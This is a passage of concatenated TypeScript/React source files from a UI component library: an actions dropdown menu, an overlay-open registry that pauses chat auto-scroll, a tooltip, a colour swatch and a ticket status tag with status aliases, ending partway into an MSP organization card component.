*/\n  danger?: boolean;\n  /** Optional URL for navigation items */\n  href?: string;\n  /** Open the main-row `href` in a new tab (external app deep-links). */\n  openInNewTab?: boolean;\n  /**\n   * Optional secondary action — a 40px-wide button on the right of the row\n   * with a vertical divider. The main row keeps its primary click target;\n   * the secondary is independently clickable (e.g. \"open in new tab\").\n   */\n  iconAction?: ActionsMenuItemIconAction;\n}\n\nexport interface ActionsMenuGroup {\n  id?: string;\n  items: ActionsMenuItem[];\n  separator?: boolean;\n}\n\nexport interface ActionsMenuProps {\n  groups: ActionsMenuGroup[];\n  className?: string;\n  onItemClick?: (item: ActionsMenuItem) => void;\n  /**\n   * Optional node rendered as the menu's first row, above every group — e.g.\n   * the mobile \"…\" menu surfaces the page's view-mode `TabSelector` here (the\n   * tickets design). Separated from the rows below by the same border the rows\n   * use; interaction stays the node's own — clicking it does not close the\n   * menu by itself.\n   */\n  header?: React.ReactNode;\n}\n\ninterface MenuItemProps {\n  item: ActionsMenuItem;\n  onItemClick?: (item: ActionsMenuItem) => void;\n}\n\nconst ROW_CLASSES =\n  'flex flex-1 min-w-0 items-center gap-[var(--spacing-system-xsf)] p-[var(--spacing-system-s)] cursor-pointer transition-colors bg-ods-bg outline-none';\nconst WRAPPER_CLASSES = 'relative flex items-stretch border-b border-ods-border last:border-b-0';\n\nconst SECONDARY_ACTION_CLASSES =\n  'flex p-[var(--spacing-system-s)] shrink-0 items-center justify-center self-stretch border-l border-ods-border transition-colors hover:bg-ods-bg-hover focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ods-focus [&_svg]:w-4 [&_svg]:h-4 md:[&_svg]:w-6 md:[&_svg]:h-6';\n\nconst SecondaryAction: React.FC<{ action: ActionsMenuItemIconAction }> = ({ action }) => {\n  const handleClick = useCallback(\n    (e: React.MouseEvent) => {\n      e.stopPropagation();\n      if (action.disabled) {\n        e.preventDefault();\n        return;\n      }\n      action.onClick?.();\n    },\n    [action],\n  );\n\n  const classes = cn(\n    SECONDARY_ACTION_CLASSES,\n    action.openInNewTab && 'max-md:hidden',\n    action.disabled && 'pointer-events-none cursor-not-allowed opacity-60',\n  );\n\n  if (action.href) {\n    return (\n      <Link\n        href={action.href}\n        prefetch={false}\n        target={action.openInNewTab ? '_blank' : undefined}\n        rel={action.openInNewTab ? 'noopener noreferrer' : undefined}\n        aria-label={action['aria-label']}\n        aria-disabled={action.disabled || undefined}\n        tabIndex={action.disabled ? -1 : undefined}\n        className={classes}\n        onClick={handleClick}\n      >\n        {action.icon}\n      </Link>\n    );\n  }\n\n  return (\n    <button\n      type=\"button\"\n      aria-label={action['aria-label']}\n      disabled={action.disabled}\n      className={classes}\n      onClick={handleClick}\n    >\n      {action.icon}\n    </button>\n  );\n};\n\nconst MenuItem: React.FC<MenuItemProps> = ({ item, onItemClick }) => {\n  // Submenus below portal + collide against the OWNING surface, matching the\n  // root menu (`DropdownMenuContent`). Read unconditionally — hooks first.\n  const portalContainer = usePortalContainer();\n  const collisionBoundary = useCollisionBoundary();\n  const activate = useCallback(() => {\n    if (item.disabled) return;\n    if (item.type === 'checkbox') {\n      item.onClick?.();\n      onItemClick?.(item);\n      return;\n    }\n    if (item.type === 'submenu') return;\n    item.onClick?.();\n    onItemClick?.(item);\n  }, [item, onItemClick]);\n\n  const handleClick = useCallback(\n    (e: React.MouseEvent) => {\n      e.stopPropagation();\n      e.preventDefault();\n      activate();\n    },\n    [activate],\n  );\n\n  const handleKeyDown = useCallback(\n    (e: React.KeyboardEvent) => {\n      if (e.key !== 'Enter' && e.key !== ' ') return;\n      e.preventDefault();\n      e.stopPropagation();\n      activate();\n    },\n    [activate],\n  );\n\n  const handleLinkClick = useCallback(\n    (e: React.MouseEvent<HTMLAnchorElement>) => {\n      if (item.disabled) {\n        e.preventDefault();\n        e.stopPropagation();\n        return;\n      }\n      item.onClick?.();\n      onItemClick?.(item);\n    },\n    [item, onItemClick],\n  );\n\n  if (item.type === 'separator') {\n    return <div className=\"h-1 w-full bg-ods-divider\" />;\n  }\n\n  const itemClasses = cn(\n    ROW_CLASSES,\n    item.disabled\n      ? 'pointer-events-none cursor-not-allowed text-ods-text-secondary opacity-60'\n      : 'text-ods-text-primary hover:bg-ods-bg-hover',\n  );\n\n  const subTriggerClasses = cn(itemClasses, 'focus:bg-ods-bg-hover data-[state=open]:bg-ods-bg-active');\n\n  const renderAsLink = !!item.href && item.type !== 'submenu' && item.type !== 'checkbox';\n\n  const rowContent = (\n    <>\n      {item.icon && (\n        <div\n          className={cn(\n            'flex h-4 w-4 flex-shrink-0 items-center justify-center md:h-6 md:w-6',\n            item.danger && 'text-ods-error',\n            item.disabled && 'opacity-50',\n          )}\n        >\n          {item.icon}\n        </div>\n      )}\n\n      <span\n        className={cn(\n          'flex-1 font-medium leading-6 text-h4',\n          item.disabled ? 'text-ods-text-secondary' : item.danger ? 'text-ods-error' : 'text-ods-text-primary',\n        )}\n      >\n        {item.label}\n      </span>\n\n      {item.type === 'checkbox' && (\n        <div\n          className={cn(\n            'flex h-4 w-4 items-center justify-center rounded-md transition-colors md:h-6 md:w-6',\n            item.checked ? 'bg-ods-accent' : 'border-2 border-ods-border bg-transparent',\n          )}\n        >\n          {item.checked && <Check className=\"h-3 w-3 text-ods-text-on-accent md:h-4 md:w-4\" strokeWidth={3} />}\n        </div>\n      )}\n\n      {item.type === 'submenu' && <Chevron02RightIcon className=\"h-4 w-4 text-ods-text-secondary md:h-6 md:w-6\" />}\n    </>\n  );\n\n  if (renderAsLink && item.href) {\n    return (\n      <div className={WRAPPER_CLASSES}>\n        <Link\n          href={item.href}\n          prefetch={false}\n          target={item.openInNewTab ? '_blank' : undefined}\n          rel={item.openInNewTab ? 'noopener noreferrer' : undefined}\n          className={itemClasses}\n          onClick={handleLinkClick}\n          aria-disabled={item.disabled}\n          tabIndex={item.disabled ? -1 : undefined}\n        >\n          {rowContent}\n        </Link>\n        {item.iconAction && <SecondaryAction action={item.iconAction} />}\n      </div>\n    );\n  }\n\n  if (item.type === 'submenu' && item.submenu) {\n    return (\n      <div className={WRAPPER_CLASSES}>\n        <DropdownMenuPrimitive.Sub>\n          <DropdownMenuPrimitive.SubTrigger disabled={item.disabled} className={subTriggerClasses}>\n            {rowContent}\n          </DropdownMenuPrimitive.SubTrigger>\n          <DropdownMenuPrimitive.Portal container={portalContainer ?? undefined}>\n            <DropdownMenuPrimitive.SubContent\n              sideOffset={4}\n              // Confine flip/shift (and the available-height this menu sizes\n              // itself by) to the owning surface — see `useCollisionBoundary`.\n              collisionBoundary={collisionBoundary ?? undefined}\n              collisionPadding={collisionBoundary ? COLLISION_PADDING_PX : undefined}\n              hideWhenDetached\n              className=\"z-[1500] max-h-[var(--radix-popper-available-height)] min-w-[256px] overflow-y-auto rounded-md border border-ods-border bg-ods-bg p-0 shadow-xl\"\n            >\n              {item.submenu.map((subItem, index) => (\n                <MenuItem key={subItem.id || index} item={subItem} onItemClick={onItemClick} />\n              ))}\n            </DropdownMenuPrimitive.SubContent>\n          </DropdownMenuPrimitive.Portal>\n        </DropdownMenuPrimitive.Sub>\n        {item.iconAction && <SecondaryAction action={item.iconAction} />}\n      </div>\n    );\n  }\n\n  return (\n    <div className={WRAPPER_CLASSES}>\n      <div\n        role=\"menuitem\"\n        tabIndex={item.disabled ? -1 : 0}\n        aria-disabled={item.disabled}\n        className={itemClasses}\n        onClick={handleClick}\n        onKeyDown={handleKeyDown}\n      >\n        {rowContent}\n      </div>\n      {item.iconAction && <SecondaryAction action={item.iconAction} />}\n    </div>\n  );\n};\n\nconst GroupSeparator: React.FC = () => <div className=\"h-[3px] w-full bg-ods-bg-surface\" />;\n\nexport const ActionsMenu: React.FC<ActionsMenuProps> = ({ groups, className = '', onItemClick, header }) => {\n  return (\n    <div\n      className={`relative max-h-[var(--radix-popper-available-height)] min-w-[256px] overflow-y-auto rounded-md border border-ods-border bg-ods-bg shadow-lg ${className}`}\n    >\n      {header && (\n        // The context strips the frame off controls that carry one (the view\n        // TabSelector): inside the menu, the row border and the menu's own\n        // rounding ARE the frame — see `actions-menu-header-context.ts`.\n        <ActionsMenuHeaderContext.Provider value={true}>\n          <div className=\"border-b border-ods-border\">{header}</div>\n        </ActionsMenuHeaderContext.Provider>\n      )}\n      {groups.map((group, groupIndex) => {\n        const groupKey = group.id || group.items.map(i => i.id).join('|');\n        return (\n          <React.Fragment key={groupKey}>\n            {group.items.map((item, itemIndex) => (\n              <MenuItem key={item.id || `${groupKey}-${itemIndex}`} item={item} onItemClick={onItemClick} />\n            ))}\n            {group.separator && groupIndex < groups.length - 1 && <GroupSeparator />}\n          </React.Fragment>\n        );\n      })}\n    </div>\n  );\n};\n\nexport interface ActionsMenuDropdownProps extends ActionsMenuProps {\n  trigger?: React.ReactNode;\n  /** Replace the entire default trigger button. When set, rendered directly as the DropdownMenuTrigger child. */\n  customTrigger?: React.ReactNode;\n  triggerAriaLabel?: string;\n  triggerClassName?: string;\n  contentClassName?: string;\n  align?: 'start' | 'center' | 'end';\n  side?: 'top' | 'right' | 'bottom' | 'left';\n  sideOffset?: number;\n  /** Controlled open state. Pair with `onOpenChange`. Uncontrolled by default. */\n  open?: boolean;\n  /** Open-state change handler (also fires when an item closes the menu). */\n  onOpenChange?: (open: boolean) => void;\n  /** Forwarded to the dropdown content — e.g. `e.preventDefault()` to stop\n   *  Radix returning focus (and its focus ring) to the trigger on close. */\n  onCloseAutoFocus?: (event: Event) => void;\n}\n\nexport const ActionsMenuDropdown: React.FC<ActionsMenuDropdownProps> = ({\n  groups,\n  onItemClick,\n  className,\n  header,\n  trigger,\n  customTrigger,\n  triggerAriaLabel = 'More actions',\n  triggerClassName,\n  contentClassName,\n  align = 'end',\n  side = 'bottom',\n  sideOffset = 6,\n  open: openProp,\n  onOpenChange,\n  onCloseAutoFocus,\n}) => {\n  const [open = false, setOpen] = useControllableState({\n    prop: openProp,\n    defaultProp: false,\n    onChange: onOpenChange,\n  });\n\n  // Tell the surrounding surface an overlay is open, so it can stop moving\n  // the ground under it (the chat thread suspends its follow-the-bottom\n  // auto-scroll — see `OverlayOpenRegistryProvider`). Inert without a\n  // provider, so menus elsewhere are unaffected.\n  useReportOverlayOpen(open);\n\n  // Dismiss once the USER scrolls the trigger away.\n  //\n  // Two different situations, two different answers. Content moving on its own\n  // (a streaming reply) is handled above by suspending the auto-scroll — the\n  // menu must survive that, nobody asked for it to close. A deliberate scroll\n  // is the opposite: the reader left, and an anchored menu would ride along\n  // until it hovers over unrelated chrome. `hideWhenDetached` only kicks in\n  // once the trigger is FULLY clipped, so a half-scrolled trigger still drags\n  // a visible menu across the header.\n  //\n  // Scoped deliberately:\n  //   • only scrolls of containers that actually contain the trigger — a\n  //     scroll in a neighbouring column is none of our business;\n  //   • only past `SCROLL_DISMISS_THRESHOLD_PX` of movement, so touch\n  //     momentum and the ~1px settle after opening don't close the menu the\n  //     user is reaching for.\n  const triggerRef = React.useRef<HTMLButtonElement | null>(null);\n  React.useEffect(() => {\n    if (!open) return undefined;\n    if (typeof document === 'undefined') return undefined;\n    const triggerEl = triggerRef.current;\n    if (!triggerEl) return undefined;\n    const anchorTop = triggerEl.getBoundingClientRect().top;\n    const onScroll = (event: Event) => {\n      const target = event.target as Node | null;\n      // `document` fires for the page scroll and contains everything.\n      const scrolledTheTrigger = target === document || (target instanceof Node && target.contains(triggerEl));\n      if (!scrolledTheTrigger) return;\n      const moved = Math.abs(triggerEl.getBoundingClientRect().top - anchorTop);\n      if (moved > SCROLL_DISMISS_THRESHOLD_PX) setOpen(false);\n    };\n    document.addEventListener('scroll', onScroll, { capture: true, passive: true });\n    return () => document.removeEventListener('scroll', onScroll, { capture: true });\n  }, [open, setOpen]);\n\n  const handleItemClick = useCallback(\n    (item: ActionsMenuItem) => {\n      onItemClick?.(item);\n      if (item.type !== 'checkbox' && item.type !== 'submenu' && item.closeOnSelect !== false) {\n        setOpen(false);\n      }\n    },\n    [onItemClick, setOpen],\n  );\n\n  return (\n    <DropdownMenu open={open} onOpenChange={setOpen} modal={false}>\n      <DropdownMenuTrigger asChild ref={triggerRef}>\n        {customTrigger ?? (\n          <Button\n            variant=\"outline\"\n            size=\"icon\"\n            aria-label={triggerAriaLabel}\n            className={\n              triggerClassName ||\n              'flex items-center justify-center border-ods-border bg-ods-card hover:bg-ods-bg-hover focus-visible:ring-0'\n            }\n            leftIcon={trigger ?? <Ellipsis01Icon size={24} className=\"text-ods-text-primary\" />}\n          />\n        )}\n      </DropdownMenuTrigger>\n      <DropdownMenuContent\n        align={align}\n        side={side}\n        sideOffset={sideOffset}\n        onCloseAutoFocus={onCloseAutoFocus}\n        className={cn('overflow-visible border-0 bg-transparent p-0 shadow-none', contentClassName)}\n      >\n        <ActionsMenu groups={groups} onItemClick={handleItemClick} className={className} header={header} />\n      </DropdownMenuContent>\n    </DropdownMenu>\n  );\n};\n\nexport default ActionsMenu;\n","'use client';\n\nimport { createContext, useContext } from 'react';\n\n/**\n * True inside the `ActionsMenu` header row (see `actions-menu.tsx`).\n *\n * The header hosts controls that elsewhere carry their own frame — the view\n * `TabSelector` above all — and the menu design renders them FLUSH: no border,\n * no radius, a fixed 40px height, with the menu's own row border and rounding\n * doing the framing (the inner 4px padding and the segment gap/radius stay).\n * The context lets such a control adapt\n * itself, so the same node a page puts in its title bar needs no re-styling to\n * appear inside the mobile \"…\" menu.\n *\n * Its own module (not `actions-menu.tsx`) so a control reading it does not pull\n * the whole dropdown stack into every bundle that renders the control.\n */\nexport const ActionsMenuHeaderContext = createContext(false);\n\n/** Whether this render sits inside an `ActionsMenu` header row. */\nexport function useIsInActionsMenuHeader(): boolean {\n  return useContext(ActionsMenuHeaderContext);\n}\n","'use client';\n\n/**\n * A surface-scoped count of overlays (⋯ menus, popovers) currently open INSIDE\n * that surface, so the surface can suspend behaviour that would move the ground\n * under them.\n *\n * ## Why\n *\n * An open menu stays anchored to its trigger. In a chat thread the ground moves\n * on its own: a streaming reply grows the transcript and the auto-scroll follows\n * the bottom, carrying the trigger — and its menu — upward until the menu is\n * pinned to an off-screen anchor at the panel edge, visually detached from the\n * card it belongs to.\n *\n * The honest fix is not to dismiss the menu on every scroll event (that breaks\n * touch, where momentum scrolling fires constantly) but to stop pulling the\n * ground: while an overlay is open the thread stops chasing the bottom, exactly\n * how ChatGPT/Claude stop chasing once you interact with the transcript. When\n * the overlay closes, the thread catches up if it was at the bottom before.\n *\n * ## Wiring\n *\n * Surface: wrap the region in `<OverlayOpenRegistryProvider onOpenChange={…}>`.\n * Overlay: call `useReportOverlayOpen(open)`. No provider → the hook is inert,\n * so overlays outside such a surface behave exactly as before.\n */\n\nimport { type ReactNode, createContext, useContext, useEffect, useMemo, useRef } from 'react';\n\nexport interface OverlayOpenRegistry {\n  /** Register one open overlay; call the returned fn to release it. */\n  acquire: () => () => void;\n}\n\nexport const OverlayOpenRegistryContext = createContext<OverlayOpenRegistry | null>(null);\n\n/** Read the surrounding registry (or `null` when there is no provider). */\nexport function useOverlayOpenRegistry(): OverlayOpenRegistry | null {\n  return useContext(OverlayOpenRegistryContext);\n}\n\n/**\n * Report this overlay's open state to the surrounding surface. Safe to call\n * unconditionally — with no provider it does nothing.\n */\nexport function useReportOverlayOpen(open: boolean): void {\n  const registry = useOverlayOpenRegistry();\n  useEffect(() => {\n    if (!open || !registry) return undefined;\n    return registry.acquire();\n  }, [open, registry]);\n}\n\nexport interface OverlayOpenRegistryProviderProps {\n  /** Fires on 0 → 1 and 1 → 0 transitions only, not on every acquire. */\n  onOpenChange?: (hasOpenOverlay: boolean) => void;\n  children: ReactNode;\n}\n\n/**\n * Owns the count for one surface. The context value is referentially stable, so\n * mounting this provider does not re-render overlays when the count changes —\n * only the surface's own `onOpenChange` callback fires.\n */\nexport function OverlayOpenRegistryProvider({ onOpenChange, children }: OverlayOpenRegistryProviderProps) {\n  const countRef = useRef(0);\n  // Refreshed after every commit rather than in the render body: `acquire` and\n  // its release are called from overlay mount/unmount effects, which are\n  // always past a commit.\n  const onOpenChangeRef = useRef(onOpenChange);\n  useEffect(() => {\n    onOpenChangeRef.current = onOpenChange;\n  });\n\n  const registry = useMemo<OverlayOpenRegistry>(\n    () => ({\n      acquire: () => {\n        countRef.current += 1;\n        if (countRef.current === 1) onOpenChangeRef.current?.(true);\n        let released = false;\n        return () => {\n          // Guard against a double release (StrictMode double-invokes effect\n          // cleanups in development) driving the count negative.\n          if (released) return;\n          released = true;\n          countRef.current -= 1;\n          if (countRef.current === 0) onOpenChangeRef.current?.(false);\n        };\n      },\n    }),\n    [],\n  );\n\n  return <OverlayOpenRegistryContext.Provider value={registry}>{children}</OverlayOpenRegistryContext.Provider>;\n}\n","import { cn } from '../../utils/cn';\n\nexport interface ColorSwatchProps {\n  color: string;\n  className?: string;\n}\n\n/** Square color preview shared across color and status selectors. */\nexport function ColorSwatch({ color, className }: ColorSwatchProps) {\n  return (\n    <span\n      aria-hidden\n      className={cn('inline-block size-4 shrink-0 rounded-sm', className)}\n      style={{ backgroundColor: color }}\n    />\n  );\n}\n","'use client';\n\nimport * as TooltipPrimitive from '@radix-ui/react-tooltip';\nimport { type ComponentPropsWithoutRef, type ElementRef, forwardRef } from 'react';\nimport { cn } from '../../utils/cn';\nimport { usePortalContainer } from './portal-container';\n\nconst TooltipProvider = TooltipPrimitive.Provider;\n\nconst Tooltip = TooltipPrimitive.Root;\n\nconst TooltipTrigger = TooltipPrimitive.Trigger;\n\nconst TooltipContent = forwardRef<\n  ElementRef<typeof TooltipPrimitive.Content>,\n  ComponentPropsWithoutRef<typeof TooltipPrimitive.Content>\n>(({ className, sideOffset = 4, ...props }, ref) => {\n  // Portal into the active container (e.g. a drawer) so the tooltip inherits\n  // its stacking context; falls back to `document.body` when none is provided.\n  const container = usePortalContainer();\n  return (\n    <TooltipPrimitive.Portal container={container ?? undefined}>\n      <TooltipPrimitive.Content\n        ref={ref}\n        sideOffset={sideOffset}\n        className={cn(\n          // `max-h` uses Radix's available-height var so tall content scrolls inside\n          // the tooltip instead of overflowing off-screen (only engages on overflow).\n          'z-[1400] max-h-[var(--radix-popper-available-height)] overflow-y-auto rounded-md border border-ods-border bg-ods-card px-3 py-2 text-ods-text-primary shadow-lg animate-in fade-in-0 zoom-in-95 text-h6 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2',\n          className,\n        )}\n        {...props}\n      />\n    </TooltipPrimitive.Portal>\n  );\n});\nTooltipContent.displayName = TooltipPrimitive.Content.displayName;\n\nexport { Tooltip, TooltipTrigger, TooltipContent, TooltipProvider };\n","'use client';\n\nimport type React from 'react';\nimport { cn } from '../../utils/cn';\nimport { deriveActiveColor, deriveHoverColor, getReadableTextColor } from '../../utils/ods-color-utils';\nimport { CheckCircleIcon, Chevron02DownIcon } from '../icons-v2-generated';\nimport { ActionsMenuDropdown } from './actions-menu';\nimport { ColorSwatch } from './color-swatch';\nimport { Tag, type TagProps, tagVariants } from './tag';\nimport { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from './tooltip';\n\n/**\n * Canonical ticket status values.\n * This is the single source of truth for ticket statuses across all frontends.\n */\nexport type TicketStatus = 'ACTIVE' | 'AI_ASSISTANCE' | 'TECH_REQUIRED' | 'ON_HOLD' | 'RESOLVED' | 'ARCHIVED';\n\ntype TagVariant = NonNullable<TagProps['variant']>;\n\ninterface TicketStatusConfig {\n  label: string;\n  variant: TagVariant;\n  icon?: React.ReactNode;\n}\n\nconst STATUS_CONFIG: Record<TicketStatus, TicketStatusConfig> = {\n  ACTIVE: {\n    label: 'Active',\n    variant: 'success',\n  },\n  AI_ASSISTANCE: {\n    label: 'AI Handling',\n    variant: 'outline',\n  },\n  TECH_REQUIRED: {\n    label: 'Tech Required',\n    variant: 'warning',\n  },\n  ON_HOLD: {\n    label: 'On Hold',\n    variant: 'error',\n  },\n  RESOLVED: {\n    label: 'Resolved',\n    variant: 'outline',\n    icon: <CheckCircleIcon size={16} color=\"var(--color-success)\" />,\n  },\n  ARCHIVED: {\n    label: 'Archived',\n    variant: 'grey',\n  },\n};\n\n/**\n * Maps known aliases to canonical TicketStatus values.\n * Handles: backend UPPER_CASE, chat lowercase, and dialog-layer ACTION_REQUIRED alias.\n */\nconst STATUS_ALIASES: Record<string, TicketStatus> = {\n  // Canonical (backend enum)\n  ACTIVE: 'ACTIVE',\n  AI_ASSISTANCE: 'AI_ASSISTANCE',\n  ai_assistance: 'AI_ASSISTANCE',\n  TECH_REQUIRED: 'TECH_REQUIRED',\n  ON_HOLD: 'ON_HOLD',\n  RESOLVED: 'RESOLVED',\n  ARCHIVED: 'ARCHIVED',\n  // Dialog-layer alias\n  ACTION_REQUIRED: 'TECH_REQUIRED',\n  // HubSpot canonical (OPEN/CLOSED) — drives color + icon variant. The\n  // user-facing label still comes from `pipeline_stage_label` when the\n  // caller passes <TicketStatusTag label={…}>, so the badge can read\n  // \"New\" / \"Working\" / \"Waiting on contact\" while the canonical status\n  // remains OPEN.\n  OPEN: 'ACTIVE',\n  open: 'ACTIVE',\n  CLOSED: 'RESOLVED',\n  closed: 'RESOLVED',\n  // Chat lowercase variants\n  active: 'ACTIVE',\n  tech_required: 'TECH_REQUIRED',\n  on_hold: 'ON_HOLD',\n  resolved: 'RESOLVED',\n  archived: 'ARCHIVED',\n  action_required: 'TECH_REQUIRED',\n};\n\n/**\n * Resolves any status string to a canonical TicketStatus.\n * Returns null for unknown values.\n */\nexport function resolveTicketStatus(status: string): TicketStatus | null {\n  return STATUS_ALIASES[status] ?? null;\n}\n\n/**\n * Returns the display config (label, variant, icon) for a given ticket status.\n * Accepts any known status format (backend, chat, dialog).\n */\nexport function getTicketStatusConfig(status: string): TicketStatusConfig {\n  const canonical = resolveTicketStatus(status);\n  if (!canonical) {\n    return { label: status.replace(/_/g, ' '), variant: 'outline' };\n  }\n  return STATUS_CONFIG[canonical];\n}\n\n/**\n * Returns just the label and variant for use with the Tag component.\n * Drop-in replacement for the getTicketStatusTag utility in openframe-frontend.\n */\nexport function getTicketStatusTag(status: string): { label: string; variant: TagVariant; icon?: React.ReactNode } {\n  const config = getTicketStatusConfig(status);\n  return { label: config.label, variant: config.variant, icon: config.icon };\n}\n\n// ---------------------------------------------------------------------------\n// Lifecycle (custom-status) helpers\n// ---------------------------------------------------------------------------\n\n/** Backend status-definition kinds. */\nexport type TicketStatusKind = 'AI_ASSISTANCE' | 'TECH_REQUIRED' | 'RESOLVED' | 'ARCHIVED' | 'CUSTOM';\n\nconst KIND_TO_CANONICAL: Record<Exclude<TicketStatusKind, 'CUSTOM'>, TicketStatus> = {\n  AI_ASSISTANCE: 'AI_ASSISTANCE',\n  TECH_REQUIRED: 'TECH_REQUIRED',\n  RESOLVED: 'RESOLVED',\n  ARCHIVED: 'ARCHIVED',\n};\n\n/** Canonical TicketStatus for a backend kind, or undefined for CUSTOM/unknown. */\nexport function kindToCanonicalStatus(kind: string | null | undefined): TicketStatus | undefined {\n  if (kind == null || kind === 'CUSTOM') return undefined;\n  return (KIND_TO_CANONICAL as Record<string, TicketStatus | undefined>)[kind];\n}\n\n/**\n * Whether a status of this kind renders with its canonical (system) styling\n * rather than the backend-provided color: AI_ASSISTANCE/RESOLVED/ARCHIVED do;\n * TECH_REQUIRED and custom statuses use their color.\n */\nexport function usesCanonicalStatusStyle(kind: string | null | undefined): boolean {\n  return kind != null && kind !== 'CUSTOM' && kind !== 'TECH_REQUIRED';\n}\n\nexport interface TicketStatusInput {\n  /** Legacy enum status (may be empty/null under the lifecycle feature). */\n  status?: string | null;\n  /** Backend status kind (AI_ASSISTANCE, TECH_REQUIRED, RESOLVED, ARCHIVED, CUSTOM). */\n  statusKind?: string | null;\n  /** Custom status display name. */\n  statusName?: string | null;\n  /** Custom status hex color. */\n  statusColor?: string | null;\n}\n\n/**\n * Maps a ticket's status fields to TicketStatusTag props, the unified design\n * shared across OpenFrame surfaces: AI_ASSISTANCE/RESOLVED/ARCHIVED render with\n * their canonical variant/icon; TECH_REQUIRED and custom statuses render from the\n * backend color, labelled by the custom status name.\n */\nexport function resolveStatusTagProps(input: TicketStatusInput): { status: string; label?: string; color?: string } {\n  const canonical = usesCanonicalStatusStyle(input.statusKind) ? kindToCanonicalStatus(input.statusKind) : undefined;\n  return {\n    status: canonical ?? input.status ?? '',\n    label: input.statusName ?? undefined,\n    color: canonical ? undefined : (input.statusColor ?? undefined),\n  };\n}\n\n// ---------------------------------------------------------------------------\n// Component\n// ---------------------------------------------------------------------------\n\n/** A selectable status option for the inline status-change dropdown. */\nexport interface TicketStatusTagOption {\n  id: string;\n  name: string;\n  color: string;\n}\n\nexport interface TicketStatusTagProps {\n  /** Ticket status in any known format (ACTIVE, active, ACTION_REQUIRED, etc.) */\n  status: string;\n  /** Override the default label */\n  label?: string;\n  /**\n   * Hex color override. Replaces the variant's fill; text\n   * color is computed for contrast. The status's preset icon is preserved.\n   */\n  color?: string;\n  /** Override the status's default Tag variant (e.g. force 'outline' or 'primary'). */\n  variant?: TagVariant;\n  /** Additional className for the Tag */\n  className?: string;\n  /** Show the status-specific icon (e.g. checkmark for resolved) */\n  showIcon?: boolean;\n  /**\n   * Make the tag an inline status changer. When provided (with `onSelect`), the\n   * tag renders with a chevron and opens a dropdown of these options on click.\n   */\n  options?: TicketStatusTagOption[];\n  /** Called with the chosen option id. Required for the inline dropdown. */\n  onSelect?: (id: string) => void;\n  /** Disables the dropdown while a change is in flight. */\n  isPending?: boolean;\n  /**\n   * Lock the status: renders the plain non-interactive tag even when `options`\n   * are provided (e.g. a pending approval request blocks the transition).\n   */\n  disabled?: boolean;\n  /** Reason shown in a tooltip over the tag when `disabled`. */\n  disabledReason?: string;\n}\n\n/**\n * Unified ticket status tag component.\n * Renders a styled Tag with the correct color variant and optional icon\n * for any ticket status value from any layer (backend, dialog, chat).\n */\nexport function TicketStatusTag({\n  status,\n  label,\n  color,\n  variant,\n  className,\n  showIcon = true,\n  options,\n  onSelect,\n  isPending = false,\n  disabled = false,\n  disabledReason,\n}: TicketStatusTagProps) {\n  const config = getTicketStatusConfig(status);\n  // Custom color: drive bg via CSS vars so the derived hover/active fills can win\n  // on :hover/:active (an inline backgroundColor would block class-based hover).\n  const customStyle = color\n    ? ({\n        '--tag-bg': color,\n        '--tag-bg-hover': deriveHoverColor(color),\n        '--tag-bg-active': deriveActiveColor(color),\n        color: getReadableTextColor(color),\n      } as React.CSSProperties)\n    : undefined;\n  const customColorClasses = color\n    ? 'bg-[var(--tag-bg)] hover:bg-[var(--tag-bg-hover)] active:bg-[var(--tag-bg-active)]'\n    : undefined;\n\n  const tag = (\n    <Tag\n      label={label ?? config.label}\n      variant={variant ?? config.variant}\n      icon={showIcon ? config.icon : undefined}\n      className={cn('w-fit shrink-0', customColorClasses, className)}\n      style={customStyle}\n    />\n  );\n\n  if (disabled || !options || options.length === 0 || !onSelect) {\n    if (disabled && disabledReason) {\n      return (\n        <TooltipProvider delayDuration={0}>\n          <Tooltip>\n            <TooltipTrigger asChild>\n              <span className=\"w-fit shrink-0 cursor-not-allowed\">{tag}</span>\n            </TooltipTrigger>\n            <TooltipContent>{disabledReason}</TooltipContent>\n          </Tooltip>\n        </TooltipProvider>\n      );\n    }\n    return tag;\n  }\n\n  return (\n    <ActionsMenuDropdown\n      align=\"start\"\n      groups={[\n        {\n          items: options.map(option => ({\n            id: option.id,\n            label: option.name,\n            icon: <ColorSwatch color={option.color} />,\n            onClick: () => onSelect(option.id),\n            disabled: isPending,\n          })),\n        },\n      ]}\n      customTrigger={\n        <button\n          type=\"button\"\n          disabled={isPending}\n          aria-label=\"Change status\"\n          style={customStyle}\n          className={cn(\n            // Reuse the tag's variant styling, but split into a label section and a\n            // separated chevron section (the common dropdown-button seam).\n            tagVariants({ variant: variant ?? config.variant }),\n            'w-fit shrink-0 items-stretch justify-start gap-0 overflow-hidden p-0',\n            'disabled:cursor-not-allowed disabled:opacity-60',\n            // Custom color: bg/hover/active from the CSS vars set above.\n            customColorClasses,\n            className,\n          )}\n        >\n          <span className=\"flex items-center gap-[var(--spacing-system-xxs)] px-[var(--spacing-system-xsf)]\">\n            {showIcon && config.icon && (\n              <span className=\"flex size-5 shrink-0 items-center justify-center\">{config.icon}</span>\n            )}\n            <span className=\"truncate\">{label ?? config.label}</span>\n          </span>\n          <span className=\"flex items-center justify-center self-stretch border-l border-ods-border px-[var(--spacing-system-xsf)]\">\n            <Chevron02DownIcon className=\"size-4 shrink-0\" />\n          </span>\n        </button>\n      }\n    />\n  );\n}\n","'use client';\n\nimport type { ReactNode } from 'react';\nimport { cn } from '../../utils/cn';\nimport { ExternalLinkIcon } from '../icons-v2-generated';\nimport { Button } from '../ui/button';\nimport { SquareAvatar } from '../ui/square-avatar';\n\nexport interface MspOrganizationCardProps {\n  /** MSP/organization name. Woven into the default title: \"Your IT is managed by {name}\". */\n  name: string;\n  /** Organization website shown beneath the title (e.g. \"www.techflow.com\"). */\n  website?: string;\n  /** Organization logo URL. Falls back to initials derived from `name` when absent. */\n  logoUrl?: string;\n  /** Full title override. Defaults to `Your IT is managed by {name}`. */\n  title?: ReactNode;\n  /**\n   * Website link. When set, the trailing action renders as an anchor\n   * (`<a href target=\"_blank\">`). Takes precedence over `onOpenWebsite`.\n   */\n  href?: string;\n  /** Click handler for the trailing action (used when `href` is not set). */\n  onOpenWebsite?: () => void;\n  /** Appended to the root element. */\n  className?: string;\n}\n\n/**\n * MSP Organization card for the AI Assistant welcome screen.\n *\n * A horizontal card — square org logo, \"Your IT is managed by {name}\" title with\n * the website beneath, and a trailing 